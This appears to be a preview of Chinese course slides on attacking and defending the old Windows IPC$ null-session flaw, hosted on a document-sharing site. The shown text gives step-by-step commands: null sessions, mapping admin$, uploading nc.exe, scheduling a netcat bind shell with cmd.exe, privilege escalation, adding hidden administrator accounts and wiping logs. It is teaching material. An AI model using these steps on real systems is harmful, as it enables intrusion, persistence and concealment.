《网络攻击与防御》专题课件-1：IPC$漏洞（20140903更新）_第1页
《网络攻击与防御》专题课件-1：IPC$漏洞（20140903更新）_第2页
《网络攻击与防御》专题课件-1：IPC$漏洞（20140903更新）_第3页
《网络攻击与防御》专题课件-1：IPC$漏洞（20140903更新）_第4页
《网络攻击与防御》专题课件-1：IPC$漏洞（20140903更新）_第5页
已阅读5页，还剩9页未读， 继续免费阅读

下载本文档

版权说明：本文档由用户提供并上传，收益归属内容提供方，若内容存在侵权，请进行举报或认领

文档简介

1、IPC$漏洞什么是IPC$?在win NT/2000环境下 , IPC$(Inter-Process Communication)，它是为了让进程间网络通信而开放的主机间的连接。通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。IPC$的特点两台主机间任何时候只允许有一个IPC$连接。Windows Server 2003上使用139端口。连接时需提供用户名跟密码。允许空连接，即用户名和密码为空。致命漏洞IPC$连接建立后，被连接的主机没有把对方的活动限制在进程间通信范围内，而是允许对方越权访问非IPC$的共享资源。战云：攻击准备

2、宝贝你好吗:空连接net use ipc$ “” /user : “”窃听：使用嗅探工具，如sniffer pro偷窥：使用扫描工具，如X-Scan斗智：使用密码猜测工具，如流光若攻击机是Win7，安装Telnet服务。注意：空连接建立后用以下命令删除： net use * /del闪击：连接咒语：建立ipc$连接 net use ipc$ “” /user:“”越界：映射对方机器其他共享（例如admin$）到本机（例如Z盘） net use z: admin$ 闪击：连接上传木马程序 把黑客工具nc.exe拷到z盘 把通用DOS命令窗口工具cmd.exe拷到z盘 把提权工具gasys.dll

3、, getadmin.exe拷到z盘 闪击：连接定时炸弹：向对方机器添加定时任务，在给定时间启动cmd.exe, 并把界面输出到指定端口。 net time 【得到对方时间】 at nc-l-p -t -e cmd.exe 【使对方在启动DOS窗口，并输出到对方的端口。】 闪击：连接地狱之门：登录到定时炸弹炸开的端口得到一个shell（命令窗口） telnet 不要高兴得太早：权限不够渗透：提权漏洞之后的漏洞 NT核心进程WinLogon可被非法使用, 用来把任何用户加入管理员组。 王牌出场：运行提权程序在shell中执行getadmin.exe。 当家作主：破坏篡改主页上传木马格式化硬盘不忍

4、说再见：后门咸鱼翻身：激活冻结账户 net user /active:yes 潜伏：添加用户 net user /add 【shell中执行】重要人物：提升潜伏用户的权限 net localgroup administrators /add 【shell中执行，使用户成为超级管理员】 net localgroup “remote desktop users” /add【shell中执行，使用户可远程登录】打扫战场：痕迹清理清除指纹：如前面用过的cmd.exe, nc.exe, getadmin.exe, gasys.dll清除日志：使用clearlog.exe, cleaniis.exe道高一丈：防范1、禁止空连接进行枚举(此操作并不能阻止空连接在的建立) 2、禁止默

人人文库> 全部分类> 教育资料 > 课件下载

温馨提示

  • 1. 本站所有资源如无特殊说明，都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等，如果需要附件，请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸，网页内容里面会有图纸预览，若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间，仅对用户上传内容的表现方式做保护处理，对用户上传分享的文档内容本身不做任何修改或编辑，并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容，请与我们联系，我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论